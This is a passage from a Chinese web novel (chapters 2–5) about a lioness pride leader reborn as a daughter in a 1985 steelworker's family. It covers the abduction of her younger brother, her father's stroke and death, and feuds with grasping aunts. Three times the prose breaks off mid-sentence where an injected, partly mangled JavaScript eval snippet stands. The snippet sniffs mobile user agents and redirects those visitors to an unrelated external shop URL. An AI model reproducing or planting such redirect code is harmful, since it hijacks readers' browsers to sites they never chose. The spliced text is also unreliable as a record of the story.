《母狮首领在八零》 2. 被拐 这是一段充满激情的特殊岁月,每个人都有着自己的信仰,爱岗敬业对国家对社会对未来都有着无限的热爱与希望。 一天的时间在忙碌的工作里很快过去,徐老四认真地数着刚刚发到手的一块二毛钱,心中感慨万千。 上辈子在狮群壮年时期,哪怕她捕猎技巧与经验都是狮群第一,也得失败很多次,冒着受伤的风险,才能捕获到心仪的猎物。 而人类社会最好的一点,就是能干多少就得到多少。 这种感觉太令人安心了,徐老四觉得她能扛一辈子的沙包。 徐老四现在还在长身体,每次的工钱都不必带回家,一路上她看到感兴趣的食物,只要价格能接受,她都会试试。 这样的好处很明显,她最近这半个月精力越来越好了。 不过今天已经答应了老五,于是她分出买发夹的五毛钱,打算用剩下的七毛全部购入顶饱的馒头。 路上吃到五分饱之后,徐老四最先回到家里开始做饭。这年头普通老百姓家里的伙食都简单,徐老四很快就学会了几道简单菜的做法。 徐想娣与徐再儿先后回家,倒是徐耀堂父子俩迟迟不见身影。 “听隔壁的刘婶子说,这两天厂房里的机器出了些故障,爸这个点没回估计还在攻坚,咱们不用等他。” 徐想娣环顾了堂屋一圈,有些纳闷,“小学放学最早,金宝怎么还没回。老五你去张叔家看看他小儿子回来了没。” 徐再儿应了声,很快出去又很快回来。 “姐,张家那小子已经回来了,这会儿正吃着呢,他说今天没和金宝一道儿回来。” “金宝没请他吃零嘴?” 徐再儿摇头:“没。” “这兔崽子,我看家里除了爸,其他人的话他都不带听的,这会儿还不知道在哪儿玩疯了。等会儿他回来了我真得好好教训他不可,老四你力气大,到时候帮我按着他。” 徐家三姐妹在家等了又等,直到天色完全暗下去,依旧不见徐金宝的踪影。 徐想娣开始慌了,嘴里不断呢喃着:“金宝该不会是迷路了,不应该啊,这路都走了多少遍了,学校又不远,比他小的孩子都能自己走回来,实在不应该……” 徐老四比两个姐妹都沉稳些,率先站起身道:“找人去。” 徐老五第二次去邻居们的家里,询问得更加仔细。 今天放学时,有后座绑着喇叭的自行车路过校门,好像是说前街那头有个杂技团要表演,有顶盘子吹火花还有猴子钻火圈! “那多稀奇呐,就是得买票,一个人两毛,我们都没钱才没去。金宝可能是去瞧热闹了,他说看完了再给我们讲,这样我们不用出钱也能乐呵,算是沾了他的光。” 和徐金宝同班的张铁志小学生语气里一丝羡艳,这年头舍得一天给孩子两毛零花钱的大人很少。 现在是1985年,改革开放后,这种民间艺术家团体陆续开始出现。 他们人数不多,一般一天就能跑完一个城市,行踪不定技艺高低不定,但在这个缺乏娱乐的年代还是十分受人民欢迎的。 徐老四骑着家里的女士自行车,后边带着徐再儿,徐想娣借了邻居家的自行车,三人着急又愤怒地赶往前街,周围的邻居得到消息也纷纷在近处寻找徐金宝的踪影。 可是没有,还是没有。 杂技团的表演随着天色暗淡已经结束,人群早已散去。 徐想娣不死心,沿着街道挨家挨户敲门询问有没有看到一个八岁小孩单独的身影。 结果都是没有,记不清楚,没印象。 徐想娣的喉咙已经沙哑了,两条小腿止不住地颤抖着,仿佛随时都能晕过去。 徐再儿报了警,领了两个公安过来,徐金宝走失被正式立案调查。 雄安市第一钢铁厂的生产车间内。 徐耀堂挺着酸胀的腰杆与脖颈,终于带着三个徒弟收工。 车间主任这会儿也还没下班,一直在旁边端茶送水陪着,机器多停工一秒,耽误的生产任务就多一分,他们车间离先进奖也就越远。 因此哪怕知道徐工年纪大了,身体不如以往硬朗,他也还是狠心将人留了下来,这会儿问题解决,大家都放下心来。 “徐工辛苦了,食堂我叮嘱他们留了两个菜,咱们把饭吃了再回,明天上半天补休,大家都好好休息。” 徐耀堂技术好资历老,在外一向受人尊敬体面得很,虽然现在累得头有些昏沉脖子酸痛,但面上依旧不在意地挥挥手,态度随和地邻着三个徒弟往食堂走去。 只是还没走进食堂,保卫科的人就急匆匆地赶来,满脸焦急道:“徐工不好了,刚刚有公安过来,说是您家的金宝丢了,现在还没找着人呢!” “什么!?” 徐耀堂突然听到这个消息,只觉得有只大手紧紧地抓住了他的五脏六腑,让他呼吸都变得阻塞一时喘不过气。 “走,咱们也快去找人!” 徐耀堂的三个徒弟都是清楚自家师父膝下那唯一一个宝贝蛋的,逢年过节都没少讨好徐金宝,现在知道事情闹大了,纷纷招呼着自己的亲朋好友帮着一起找人。 公安很快带着徐耀堂到前街,与徐想娣三姐妹碰面。 啪! 徐耀堂刚下自行车,抬手就给了年纪最大的徐想娣一个响亮的巴掌,将她打得连连后退好几步险些摔倒在地。 不等众人反应,犹嫌不够地继续抬手,准备按照顺序给徐老四也来一下。 只是就在他粗厚的手掌高高举在徐老四面前时,一只劲瘦有力的手精准地握住了徐耀堂的手腕。 两人只僵持了短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407178|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短一秒,徐耀堂怒气未消很快要用第二只手打向女儿。 但忽然一阵巨力向他手腕处袭来,他被推开了两米开外。 一双平静坚韧的眼睛冷冷地注视着他,这一刻徐耀堂觉得面前站着的是某种极度危险的存在,完全不像他的女儿。 公安见状立即上前劝阻:“徐同志你冷静些,孩子丢了大家都很痛心,你的女儿们已经在这附近找了两个多小时了,你不能再……” 有了公安的插入徐耀堂很快将刚刚一闪而过的念头压下,哪怕是天塌下来,最重要的事情还是他丢失的宝贝儿子。 “公安同志你们可得帮帮我,我家可就金宝一个男苗,我盼了四十多年,是我老婆用命换来的。 都是她们这几个做姐姐的不上心,又蠢又笨,连亲弟弟都看护不住。 我怎么生了你们这些孽障,你们所有人的贱命加起来,都比不上金宝……” 诛心的话不断从徐耀堂嘴里吐出,徐想娣与徐再儿的脸渐渐惨白,都是涉世未深的小女孩,被父亲当众贬得连地上的泥土都不如,想死的心都有了。 徐老四穿来半年多,还是第一次听到徐耀堂一口气说这么多话,只可惜没一句是她愿意听的。 “别说了,找人要紧。” 徐耀堂再次被老四呛住,这次却难得地没有继续骂人。 因为确实有小孩儿在放学时见到徐金宝往前街方向去,公安们带队以杂技团表演所在的前街为圆心,不断地调查寻找当时围观的群众,询问是否有异常的人出现。 他们怀疑徐金宝独自一个小孩儿看表演时,遭遇了人贩子。 天色已经很晚了,但徐家没一个人回家睡觉,公安的推测让所有人听了都心中一颤。 徐耀堂尤其不愿接受这个可能,骑着自行车照着手电筒,将这些年带儿子去过的地方都走了一遍。只要是徐金宝可能去过的地方,他都得亲自去看看才死心。 “金宝,你可千万不能出事啊,你要是丢了爸活着也没意思。” 城郊阡陌交替的小路上,徐耀堂双腿无力地瞪着自行车,今晚弯钩似的月亮被云层遮盖了大半,挂在车把头前的自行车电量已经快耗尽了。 他不明白老天爷为什么对他如此残忍,老徐家三代单传,到了他这一辈更是接连生了八个女儿才有的儿子,有金宝在的这八年是徐耀堂这辈子最快活腰板最硬的一段时光。 哪怕金宝他妈难产死的时候他才四十多,但为了金宝不受委屈,他硬是强挺着没再相看女人。 徐耀堂内心混乱想了很多,没见到孙子出生死不瞑目的父母,周遭嘲笑挖苦的亲戚邻居,才定期存了两年的银行存款…… 忽然,下坡途中车轮碾过一块尖锐凸起的石块,徐耀堂手脚乏力一时没掌握好方向,连人带车一同栽进了道路一旁的水沟中。 3. 中风 钢铁厂家属区出大事了!昨天下午徐家的金疙瘩蛋放学不老实回家,凑热闹去看什么杂耍,结果被人贩子给拐走。 更倒霉的是他的亲生父亲徐工夜里为了找人,不小心骑车跌进了水沟子里。 等到第二天清晨进城买菜的农户发现送往医院时已经迟了,人已经中风连话都说不出来,眼看也是不中用了。 徐家的亲朋好友陆续得到消息,最先赶来的是代表钢铁厂慰问的工会,徐师傅昨晚会发生意外,多少也和他在厂子里废寝忘食地加班过于疲劳有关系。 厂里领导觉得愧疚,不仅给徐家送来不少营养补品,还发了一笔慰问金。 第二赶来的是同城住着的两个姑姑,她们都是徐耀堂的妹妹,和有本事的娘家大哥感情一向不错。 四十多岁的中年妇女拖家带口来了上十号人,将本不宽敞的病房挤得满满当当。 “大哥,你得挺过来啊,家里出现这么大的事,你不在可怎么办。 公安同志早上来信说已经和外地的警局联系上了,大概确定了那伙人,指不定这两天就把人捉住将孩子送回来了,你可千万不能有啥事啊!” 徐小姑有着和床上病人相似的肤色与眉眼,此刻已经哭得肝肠寸断,她带来的两个女儿站在床位同样小声抽噎着。 徐大姑的脾气就比妹妹大多了,见徐想娣端着饭盒走进病房,咬着牙上去往她腰上狠狠拧了两下。 “下贱的赔钱货没用的蠢蛋,叫你带个弟弟都带不好,早知道当初你妈的工作就算买了也不该给你。 你说,你是不是想独吞老徐家的东西,故意把你弟弟看丢了?你怎么这么狠的心,金宝才八岁啊!” “大姑,对不起,我真的不是故意的呜呜。” 徐想娣情绪本来就在崩溃边缘,被徐大姑连掐带骂一顿磋磨,眼泪又哗哗地往外流。 她心里内疚与害怕化成的苦水已经快要将她淹没窒息,金宝拿去买杂技团票的钱就是她早上给的那二毛,要是她不给这个钱,金宝就算贪玩也不会有底气跟过去。 是她害了金宝,她是老徐家最大的罪人。 “说对不起有啥用,金宝这会儿还不知道在哪儿吃苦受罪,人家公安同志都说这事儿不容易办,我哥好不容易给徐家留的后就断在你这死妮子手里。” “好了你别说了,想娣自己心里也不好受呢。” 大姑父胡向前开口阻拦,他是印刷厂的车间工人,性格温厚为人十分和气,也是俗称的老好人。 徐老四和徐再儿回了一趟家属院给徐耀堂带了些换洗衣物过来,一进病房就发现她三姐像个被审判的犯人缩在墙角边,两个姑姑和他们的家人占据了房间中央。 “人怎么样了?”徐老四自然而然地拉过徐想娣的手,剥开人群来到徐耀堂的病床旁边,“待会儿麻烦两个姑父帮换下衣裳。” 徐大姑又想皱着眉开口,但被丈夫扯了下衣摆,强忍了回去。 可徐大姑没说话,另一边徐小姑又嚎了起来。 “呜呜就说这家里不能没有男人,大哥病成这样,都没有个儿孙在一边尽孝服侍,大哥这一辈子苦啊!” “小姑,医生说了,太吵的话病人休息不好的。”徐想娣等到两个妹妹来了后,终于有了点底气,小声提醒道。 但这却点到了徐大姑的逆鳞上,她是最喜欢将讲究大的懂事要带小的那一套。 徐想娣是娘家里最大的姑娘,拥有她这辈子都可望不可得的宝贵工作,却弄丢了弟弟,这在她眼里是犯了天条的二罪合一罪该万死。 “长辈说话有你插嘴的地?这会儿能耐了,怎么昨天没看好金宝呢?老娘见你张嘴就想扇人,你以后在我跟前老实些。” 徐想娣重新变成刚刚那副彷徨无助弱小的模样。 徐老四皱着眉看向徐大姑,每回亲戚聚在一起,徐大姑都能口若悬河说很多话,但今天她说的话格外恶毒,简直是在拿刀反复剜徐想娣的心。 “谁许你骂我三姐了,你是什么东西。” 徐老四说话永远都是平滑直溜的那个调调,连现在骂人也是。不等徐大姑跳脚,她就一把将人往外推了出去。 “那你有能耐,就和公安同志一起去找人吧,要是找不到金宝让我发现你假能耐,我也要扇你。” 众人都被徐老四这番话惊呆了,怀疑自己是不是幻听。 胡向前扶住连连后退的妻子,一贯的笑脸儿此刻也沉了下来。“徐念娣你怎么和你大姑说话的,太不懂礼数了,赶紧向我们道歉。” “滚。” 徐小姑也听不得那些话,在一边帮腔道:“都怪我大嫂去得早,我哥工作又忙,老四啥时候变得这么没家教了,还好今天都是自己人,不然在外头别人都要笑话我们徐家。” “你也滚。” 这态度彻底惹恼了两家人,徐大姑两个结了婚的儿子,还有徐小姑的丈夫尹卫国,三个人高马大的男人向徐老四逼过来,似乎打算用双手好好教训一下出言不逊的女人。 徐老四自然看出了对面几人对自己的敌意,没有丝毫犹豫,伸手一人给了一个巴掌。 称霸草原那些年,维多利亚学会的诸多道理之一:最好的防守就是进攻。 刚刚说扇人,她是认真的。 啪啪啪! 三个脆响打破了病房内最后一点平衡,徐大姑徐二姑两家人都怒了,个个面目狰狞朝徐老四扑来。 “一边躲着去。” 再这么紧急的关头,徐老四还有功夫叮嘱两个姐妹,徐想娣和徐再儿早呆住了,这辈子她们都没想到能这么和长辈说话。 还是徐再儿更机灵,赶紧拉着徐想娣往门外跑叫人。 徐老四则留在房里以一敌六,打得两家人嗷嗷痛呼,自身也挨了不少拳脚。 医院里的医生护士很快赶来,见病房外围满了看热闹的病人与家属,头疼地赶紧喊着退后小心误伤,一边拼命拨开人群往里挤。 徐老四并不恋战也没用全力,另外两家人被打得不轻打持久战的意愿不强,等被扯开之后,护士冷着脸将两边都训斥了一顿,最后两个姑父黑着脸拉着老婆离开。 “分不清好赖的玩意儿,我们以后是不管了,徐家再有什么事可别来找我们!” 小姑父留下这样一句话气愤离开,徐老四身边站着的徐想娣比她还要羞愧害怕。 这年头做什么事情都需要亲朋好友帮忙,亲戚之间交往亲密情谊重,他家又没有男人顶门立户,以后日子可怎么活? 总不能有点事就让老四去扇巴掌吧,那也太不讲理了。 “老四,我知道你是在维护三姐,可你这下把大姑小姑家都得罪死了,要不等把爸好了,我带你上门……” “哎呀,你们快来,爸啥时候醒过来了!”徐想娣话还没说完,徐再儿便指着床头惊喜地叫着。 正好医生护士都还没走远,徐老四赶紧去把人又带了回来给徐耀堂做检查。 但情况还是不好,甚至更恶化了点。 徐耀堂还听到了刚刚病房里争吵打架的那段,心里又气又急,一直歪着脸翻白眼流口水。 医生们摇着头离开了病房。 徐想娣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407179|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了饭点尝试着给父亲喂了点稀粥,徐耀堂喝过人居然精神了一些,吱吱呀呀地想开口讲话。 “找……找金宝……你们这辈子,都要找到他。让他到我坟前,烧香……” 徐想娣泪如雨下,父亲果然惦记着弟弟,她有罪,这辈子她啥也不管也要完成父亲着最后的心愿…… “三姐你先起开。” 徐老四一把挤开握着父亲右手的徐想娣,让她到一边儿去忏悔告罪。 “爸,我们也想找人,但公安人忙事多,怕是安排不过来。我想着,咱们自己出钱出力去找人,印小卡片或是登报纸,都更快点,你觉得怎么样?” 这大概是徐老四在徐家说过最长的一段话。 “好……这好!” 一脸死气的徐耀堂听到四女儿这番话眼睛都重新聚起了光,居然主动握住了徐老四的手。 这死丫头一身蛮力,但关键时候比她三姐更扛事。 “可我手里没钱呢,家里存款啥的咱也不晓得在哪。” 徐耀堂知道自己时日无多了,能这样清醒开口说话的机会不多。犹豫了两下,他到底还是把家里放置财物的位置还有银行密码都告诉了在场的三姐妹。 “那些东西都是,都是留给金宝娶,媳妇用……你收好不许乱……乱花,我以后……会在天上看着你们!” 大约是不甘心一辈子攒的家当都到了女儿手里,徐耀堂拼着最后一点力气把话断断续续说完,然后眼睛一翻昏倒了过去。 “爸又晕倒了,要不要叫医生?”徐再儿下意识问她四姐。 “不用,医生刚说他要多休息,应该是睡了。”徐老四站起身,“你们在这陪着他,我回家一趟。” “老,老四你?” 徐想娣犹犹豫豫地想说些什么,但没好意思开口。 “放心,我拿到爸那些东西,只花自己那份儿。”徐老四坦然地说道。 “我,我不是说这个。”徐想娣说,“你刚刚是不是故意把大姑小姑撵走的,我觉得你不是那么冲动的人。” “他们又不是我们家里人,当然不能在这里碍事。” 从徐想娣站在房间角落的时候就开始不对劲了,这是徐家的地盘,让另外两家人指责她们算怎么回事。 “可按照老规矩,亲戚都该在一边做个见证,爸刚刚也有些不甘心呢,拿眼睛到处瞅大姑小姑。” “见证啥?见证咱家底多厚?”徐老四皱着眉,不悦地看向徐想娣,“三姐,大姑那样说你,你不气吗。” “是啊三姐,我觉得四姐说得对,咱家现在正是艰难的时候,得小心些别走漏了风声。 咱家的那些东西就放在四姐那儿吧,她能打能抗揍,东西在她那里我最放心。” 徐再儿跟她四姐久了,也多少咂摸出点门道来。 这人啊,越是虚弱就越不能示弱,得让人觉得她们不好欺负才不会有人欺负。 等徐老四走了之后,徐再儿不放心,又拉着徐想娣回忆起了不少这些年街坊邻居间,那些软弱可欺的人家是怎么被亲戚朋友欺负的,拼命给她三姐倒苦水洗脑。 俗话说天塌了有高个儿顶着,但现在高个儿那位也塌了,她和三姐得帮着四姐把家守好才行。 徐想娣默默看着两个突然懂事独立起来的妹妹,低下头惨然一笑。 她们和自己不同,她是害金宝被拐的罪魁祸首,就是主犯。 金宝一天不回来,她腰板就一天硬不起来。 就连现在,小她三四岁的老五教育她,她也不再像从前那样抬头挺胸正眼回话。 4. 医院 一块劳力士男士腕表,一小块小拇指粗金条,一条金项链,一个翡翠绿镯子,十几块银元钱币,一百八十七块现金,还有一本存有一千二百块的存折。 徐老四回家按照徐耀堂的话翻找了起来,最终成果不菲。 平时看家里不是清水白菜就是窝窝头,只有徐金宝能捞点好的吃。徐老四以为徐家负担重并不富裕,但谁知道家底这么厚。 咂舌之余徐老四终于想起来,徐耀堂的父母,也就是这具身体的爷奶,活着的时候也都是城里的工人干部。 过去饥荒动乱年间用粮食往外淘换了些好东西回来,老两口省吃俭用一辈子,到底给徐耀堂这个唯一的儿子留下了一些家底。 至于那本存折徐老四看了上面的日期,最早一笔是两年前存进去的。那时候徐耀堂已经是七级工,每月固定工资一百一十多,另外还有一些厂里的待遇补贴。但要在养家的同时存下这笔钱,也还是不容易的。 徐耀堂将现金放在自己房间带锁的柜子里,其余财物都用一个更小的上锁铁盒装着,填在了床脚底下的一块裂砖的后边。 徐老四也觉得这个地方好,没打算换。她揣着存折到了市里最大的一家银行,拿着徐耀堂的住院证明和户口本,将这笔钱给代取了出来,然后换了家银行,又将这笔钱给存在了自己名下。 等新的存折本到手,徐老四回家将存折连带着其他财物,都原封不动地放回到了之前的地方。 兜里揣着一百八十七块,也是普通工人一两月的工资,徐老四底气都足了不少。 回到医院,她没说具体金额,只是说东西都在,徐想娣和徐再儿都对她十分放心,等以后有要用钱的地方大家再一起商量就是。 “我上午已经给大姐二姐还有小姨那边都打去了电话,她们这会儿陆续都该过来了。”徐想娣说,“就是不知道这次会来多少人,家里估计住不下。” 说到最后徐想娣叹息了一声,这年头家里地方小住不下,大多时候都是往相熟的亲戚朋友家塞一塞挤一挤,可他们现在和大姑小姑家闹僵了,家属院的邻居们也不知道方不方便借宿几晚。 “住不下就开招待所。”徐老四从兜里掏出八十递给徐想娣,“有钱啥事办不下来。” 徐想娣连忙摆手拒绝,她是上班的人,手里有钱,另外今早厂里来看望也给了她一百块的慰问金。 当时她接过钱时,一旁的徐大姑就盯着那钱死紧,要不是有钢铁厂领导在,都想直接上手揣到自己兜里。 更别说金宝丢失就和那两毛钱有关…… 想到这里徐想娣觉得兜里那十张崭新的大团结有些烫手,反过来把钱往徐老四手里塞:“这段时间家里的钱还是都放在你这边吧,我和老五有啥要花钱的来找你。” 徐老四不太理解徐想娣这种把钱往外推的心理,她不嫌钱多压手,接了过来。 徐家的大女儿和二女儿都算远嫁,一个嫁给了军官,很早就跟着随军到外省,另外一个嫁到了隔壁市与雄安市接壤的一个小县城里。 至于小姨则守寡多年和儿女们住在乡下,进城来也得转两趟车非常不方便。 最先到的是徐家的二女婿施永年,他是县里纺织厂的保卫科科长,皮肤黑国字脸身材健壮长相普通,手里提着这个年代惯有的果篮奶粉等营养品。 只是奇怪的是他是一个人来的,身边并没有徐家老二徐盼娣的身影。 “你二姐怀孕七个多月了,”施永年放下水果后解释道,“最近啥都吃不下还返酸水,腿肿得走不了路,我妈心疼让她在家休养,我过来守夜就成。” “那辛苦二姐夫了。”徐想娣点头,她记忆里二姐就是孕期反应极大的类型,前两胎也受了很多罪,医院气味不好还真不适合孕妇久待。 晚饭是徐老四带着徐再儿在医院外的一家小炒店上打了四个人的饭菜,徐耀堂现在啥都吃不下,靠着营养液续命。 到了第二天住在乡下的小姨罗秀兰也赶了过来,她是过世的徐母娘家走动最多的亲戚。 徐家的老六老七老八三姐妹很小就寄居在了她身边,现在亲生父亲病危,罗小姨带着小儿子和三个外甥女进了城。 “快去,那床上的就是你们亲爸,你们去喊几声,看看他能听见不。” 罗小姨推着身边的两个女孩,十五岁的徐老六和十岁的徐老八怯生生地走上前叫了两声“爸”。 但不出意外地没得到任何回应。 罗小姨立马就抹起了眼泪,一会儿担心被拐的金宝,一会儿想起已经不在人世的姐姐,还有病床上进气少出气多的徐耀堂,以及没怎么感受过父爱,和父亲生疏极了的三姐妹。 但罗小姨的哭诉声与昨天的徐小姑不同,她眼泪流得更多,说话声音细弱有些话旁边的人根本听不清,应该是沉浸在了自己的情感世界里,并没有阴阳人的意味。 徐老六扯了扯罗小姨的衣角,鼓起了勇气说道,“姨,正好咱们在医院,能不能去给小七检查一下耳朵。” 徐老四这半年来亲戚见的不多,后边这三个妹妹都是第一回见到。 刚刚罗小姨让女孩儿们叫人,徐老七就站在她身边没动,现在又说要检查耳朵,徐老四看着面容有些木讷懵懂的老七,在罗小姨带来的这三根豆芽菜里,她也属于是最瘦弱的那一根。 “老七耳朵怎么了?”徐想娣问道。 “前年生病烧坏了。”罗小姨痛惜地握着徐老七的手,解释的却异常简短,既然不打算多说。 徐想娣:“没及时送医院吗,难道是爸留的钱不够用?怎么不打电话回来。” 徐耀堂把三个小女儿送到乡下养当然不是免费的,每个人每月五块钱的生活费,偶尔徐想娣会张罗着寄一些布料文具等生活用品过去,姐妹仨儿正常生活的话在乡下还能有些结余。 徐耀堂为了省事,这笔钱一般在一年开头走亲戚时就会交给罗小姨。 徐家的经济条件起码不算差,怎么会让孩子烧成聋子,徐想娣想想就难过。 “当时忙着给你二表哥娶亲呢,小七病了也不和大人讲,再送去医院就晚了。你爸去年有一回下乡见过,不知道他为啥回来没和你们说。” 这下还有什么好说的,徐家的女儿不值钱,有了徐金宝后其他女儿都是地里的草。本来要是小女儿正病着,徐耀堂抠搜着还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407180|200579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掏点钱出去,但等到他顺路去探望时孩子已经全然听不见了,那就只能凉拌。 只有和徐老七感情最深的徐老六还惦记着这个事儿,但她说完后一抬头,对上三哥似笑非笑的眼神,吓得一个哆嗦不敢再多说一个字。 就连罗小姨都向她投来不赞成的目光,但转头面对城里的几个姐姐时,脸上又是柔和的神色:“老七的耳朵就这样了,家里这么多事都忙不过来,以后再说吧。三强你和永年一道去公安问问,看看有啥新消息没。要是能把金宝找回来,说不定姐夫一高兴就能醒过来了。” 两个男人点头出去后,罗小姨带着两个女孩张罗着给徐耀堂喂水擦脸。现在的病床旁边一刻都不能离开人,得看着输液瓶及时更换。 徐想娣打算回去收拾房间,临走前拉着徐老四商量:“老七耳朵听不见这事还是太突然了,要不咱们还是带着找医生看看,万一能治好呢。她才十三岁,这些年在乡下没享什么福就算了,可以后日子还长着呢。” 徐老四:“行,那我带她到隔壁科室看看,也方便。” 她也觉得罗小姨不让徐老七看病有些奇怪,也许是心疼钱的缘故,正好现在她不缺钱。 姐妹两个兵分两路,徐老四回到病房借口带着两个妹妹出门上厕所,但转了弯带着老六老七到了耳鼻喉科室挂了号。 “四姐,你要带小七看病啊。”徐老六一脸惊喜道。 “嗯,等下你和医生说下情况。” 一般听不到声音的人哪怕能说话也不怎么愿意开口,徐老六了解妹妹的情况,徐老四便将姐妹俩一起带了过来。罗小姨现在正专注地在照顾自己那命不久矣的姐夫,估计连两个女孩什么时候离开都不清楚。 没多久三人走进诊室,医生先了解了情况,然后让徐老七做了一些检查。 “孩子听不见的情况应该有两三年了吧,怎么不早点送来呢,最开始你们也说她只是听不清楚,但还有点动静能捕捉到。现在恶化太多了,医院这边只能说会尽力治疗,但听得到多少不能确定。下定决心要治的话,你们得准备好足够时间精力还有费用。” 按照徐家现在的情况,基本是治不了了。 徐老六呜呜地哭了,她怎么没有求小姨表哥们送小七到大医院呢,只是当时新进门的二嫂说家里才办喜事就上医院不吉利,只到村上卫生所看了几眼开了点消炎药回来。 后来发现小七完全听不见后,三个表哥都没啥太大的反应,只有小姨心疼地哭了几场,但她是个没什么话语权的乡下女人,平时连电话都不能随便往城里打去,小七就这样被硬生生给耽误了。 徐老六泪眼婆娑间被小七拿手指头擦了擦眼泪,姐妹两个身上的衣服都十分破旧,补丁接着补丁,徐想娣从城里寄来的布料从罗小姨手里分出去,从来没轮到姐妹三个。 而在城里住着的三姐四姐五姐,虽然也瘦但脸上白净没有饿脱相过,身上的衣服都干干净净的,五姐头上有闪亮的发夹,三姐脚下踩的还是一双皮鞋! 这一刻徐老六觉得特别不公平,为什么都是徐家的女儿,她们日子过得这么苦,她们为什么不能和城里的姐姐们一样体面。 5. 葬礼 徐耀堂在医院又躺了三天,最终还是咽了气。他死的时候大姑小姑都没来,徐家大女儿也在赶来的路上没见到老父亲最后一眼。 现在天气热,尸体从医院拉回家就得赶快火化处理,不然容易臭。 单位出动了治丧小队,帮忙布置最后的追悼会,徐耀堂生前的工友徒弟领导,还有姐妹亲戚该来的人都到了。 丧礼当天徐家大姐徐有娣终于赶到,这次回家奔丧时没带三个孩子,怕走了弟弟的老路,路上遥远怕照看不过来被坏人拐走,所以来的就她一个人。 徐有娣看着像是四十多岁的妇女,实际年龄才三十二。 她面容愁苦皱纹很多,哪里有出嫁前俏丽挺拔的精气神,只是能从五官看出和妹妹们相似的眉眼。 她结婚结得早,丈夫因公牺牲后,这些年也没回来几次,和下边年纪小的妹妹们都不太熟悉了。 看着徐家院子里停放的棺材,还有父亲生前的遗像,有种物是人非的恍惚感。 紧接着徐家第二朵金花徐盼娣挺着七个多月的大肚子,牵着自己三岁的大女儿也来了。 本来徐想娣还握着大姐的手,感叹她这些年怎么把自己折腾成这样,可现在徐盼娣一进门,她登时被惊得顾不上只是苍老了许多的大姐。 “二姐,你的脸是怎么了?!” 最先开口的是老五徐再儿,她看着面前毛孔粗大鼻孔扩张,整张脸的皮肤都布满毳毛黑头无比粗糙,仿佛换了个人的徐盼娣,这还是她水灵漂亮的二姐? 要知道就是因为她们姐妹都从小长得好,有一年过年八个女孩儿一起出门格外养眼,家属院里的人这才将她们称为徐家的八朵金花。 徐再儿是家里最爱打扮的,因此分外接受不了姐姐如此大的外貌变化,连父亲离世的悲痛都被另外一种伤心替换了不少。 “我没事,怀孕是有可能产生面部变化的,等生完就能恢复。” 徐盼娣接过丈夫递过来的孝服穿戴好,她前几天一直想下床去看一看父亲。 但婆婆把她拦在家里,说人在医院已经没有什么清醒的时候,她去了也没用,让施永年在医院帮忙出力就行。 徐家的八个女儿都跪在徐耀堂灵前,等亲属后代最后哭过这一场,就该将遗体送去火葬场然后埋进墓园。 因为没有儿子,连个摔盆的人都没有。 嫁出去的女儿老的老丑的丑,乡下养的小闺女看着又一个比一个命苦。 让人看了都觉得老徐家好日子到了头。 徐大姑今天过来是看在亲哥面子上,对几个侄女没给一个好脸色,徐小姑光顾着哭,也没搭理娘家的一溜儿侄女,只是不断在旁边暗戳戳阴阳。 “我大哥操劳一辈子啊,现在葬礼都办得窝囊,花圈纸器没有多少就算了,连个摔盆的人都没有。 孩子们不孝啊,我这个做妹妹的没本事帮你讨公道……” 今天徐家院子的葬礼追悼会都是治丧小队和徐老四互相配合搭建的,治丧小队站在外围听不见徐小姑嘴里的哭嚎,但徐老四听见了。 雄安这边的葬礼习俗确实有儿子摔盆扶遗像的传统,但也不是每家每户都这样。 有些新潮思想的人都跟着政府的号召,实行薄葬浅葬奉行节俭政策,但很可惜徐小姑并不是有种这种先进觉悟的人。 “金宝丢了到现在都没找回来,小姑你就光顾着虚头巴老的场面活儿,我爸临走前最在意的可不是这些,钱得花在刀刃上。” 徐大姑立马接话:“那你倒是说说你爸最后一次清醒说了些啥,家里的东西都告诉你们没有。 都是你们这群死妮子不讲礼数把你姑父都气走了,按道理你爸临终前说遗言我们都要在身边的。” 徐老四:“还能说啥,就说要拿钱登报找金宝。” “那钱呢?”这会儿徐大姑与徐小姑两人异口同声道。 两人脑海里都不断回忆起当年在娘家,父母偷偷藏着的那些压箱底的宝贝。 她们是出嫁的女儿没有继承权,父母没有和她们细说,只偶尔听到过一字半句的。 本来过了这么多年两人也死心了,但现在娘家居然一个男人都没有,都是徐家的女儿,那凭什么她们不能争一争。 现在最重要的就是弄清楚具体有哪些值钱的东西。 徐老四顶在最前面,面对大姑小姑两家人的审视丝毫不心慌。 “大姑父和小姑父都是工人,现在一个月多少工资,家里有多少存款?”

